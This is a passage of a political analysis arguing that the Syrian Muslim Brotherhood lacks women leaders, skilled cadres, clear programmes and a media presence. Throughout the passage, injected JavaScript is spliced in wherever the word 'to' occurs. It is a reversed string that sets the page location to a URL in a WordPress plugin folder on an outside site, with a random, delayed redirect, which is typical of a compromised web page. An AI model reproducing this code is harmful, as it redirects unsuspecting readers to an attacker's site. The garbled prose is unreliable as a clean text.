Women representatives are clearly lacking in the Brotherhood’s leadership; there is often only one woman, if that, in Brotherhood offices, with very limited involvement. Despite the Brotherhood’s recent, and overdue, interest in improving this, they have not transformed theoretical interest intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tangible results.

They justify the lack of female representation in the Brotherhood with long years of being prosecuted, banned, and forced intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to exile, saying that they do not want women toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to suffer the same harassment as men. Women have almost no participation in the Brotherhood organizationally, and as a result, the Brotherhood is not as popular in the community as other religious movements who do integrate women.

The Brotherhood also lacks political cadres with a vision, and who are skilled at debate. Although the Brotherhood is familiar with the latest communication technology, it does not have a distinctive rhetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toric aimed at others, particularly their political partners or rivals.

With the exception of a few policy papers and statements, they have not produced anything that explains their political position on many new issues in Syria. Overall, they have not presented any specific new programs or visions of note, nor given a clear impression of their position.

The Brotherhood also lacks a regular media presence that could present their views and define new directions. For example, it does not engage with current affairs, and is unable toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to express its position on issues such as al-Qaeda, the Brotherhood’s poor performance in Egypt, or the current US-led coalition.

They do not deny this, but neither have they taken any steps toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to remedy this weakness. Perhaps their neglect of the media is motivated by the same rationale behind many of their decisions: an aversion toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to transparency.
